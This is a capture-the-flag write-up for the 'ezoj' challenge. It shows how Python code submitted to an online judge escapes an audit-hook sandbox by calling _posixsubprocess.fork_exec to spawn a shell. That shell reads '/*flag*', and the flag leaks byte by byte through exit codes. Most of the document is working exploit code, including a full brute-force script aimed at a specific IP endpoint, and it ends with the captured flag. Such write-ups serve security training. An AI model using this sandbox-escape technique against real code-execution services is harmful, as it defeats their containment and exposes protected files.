ezoj
Flag
aliyunctf{e541e6ca-ae73-4cd1-8270-2265e2a91b87}
Summary
Python jailbreak using _posixsubprocess to bypass the audit hook, then leaking the flag byte-by-byte via process exit codes.
Details
We get the source by accessing /source. The relevant part is the audit hook prepended to all submissions:
CODE_TEMPLATE = """
import sys
import math
import collections
import queue
import heapq
import bisect
def audit_checker(event,args):
if not event in ["import","time.sleep","builtins.input","builtins.input/result"]:
raise RuntimeError
sys.addaudithook(audit_checker)
"""
sys.addaudithook is permanent — you can’t remove it, and any code that tries to call os.system or subprocess directly will trigger it and raise RuntimeError.
The escape: _posixsubprocess is a C extension module. Importing it fires an "import" audit event (which is allowed), and calling _posixsubprocess.fork_exec directly does not fire any audit event — it bypasses the hook entirely.
From this writeup, we know _posixsubprocess.fork_exec can spawn arbitrary processes. We then leak the flag byte-by-byte by using the process exit code as the channel:
import sys
import time
import os
import _posixsubprocess
args = [b"/bin/sh", b"-c", b"exit $(printf \"%d\" \"$(cat /*flag* | head -c 2 | tail -c 1 | od -An -t dC | tr -d ' ')\")"]
path = b"/bin/sh"
passfds = tuple()
errpipe_read, errpipe_write = os.pipe()
pid = _posixsubprocess.fork_exec(
args, [path], True, passfds, None, None,
-1, -1, -1, -1, -1, -1, errpipe_read, errpipe_write,
False, False, -1, None, None, None, -1, None,
True)
time.sleep(1)
sys.exit(os.waitpid(pid, 0)[1]//256)
The exit code carries the ASCII value of one character. The outer bruteforce script reads it back from the API response:
import requests
for i in range(1, 20):
burp0_url = "http://121.41.238.106:14842/api/submit"
burp0_json = {
"code": (
"import sys\nimport time\nimport os\nimport _posixsubprocess\n\n"
"args = [b\"/bin/sh\", b\"-c\", b\"exit $(printf \\\"%d\\\" "
f"\\\"$(cat /*flag* | head -c {i} | tail -c 1 | od -An -t dC | tr -d ' ')\\\")\"]\n"
"path = b\"/bin/sh\"\npassfds = tuple()\n\n"
"errpipe_read, errpipe_write = os.pipe()\n\n"
"pid = _posixsubprocess.fork_exec(\n"
" args, [path], True, passfds, None, None,\n"
" -1, -1, -1, -1, -1, -1, errpipe_read, errpipe_write,\n"
" False, False, -1, None, None, None, -1, None,\n"
" True)\n\n"
"time.sleep(1)\nsys.exit(os.waitpid(pid, 0)[1]//256)"
),
"problem_id": "0"
}
r = requests.post(burp0_url, json=burp0_json)
print(chr(int(r.json()['message'].split("=")[1])), end="", flush=True)
Which printed the flag character by character.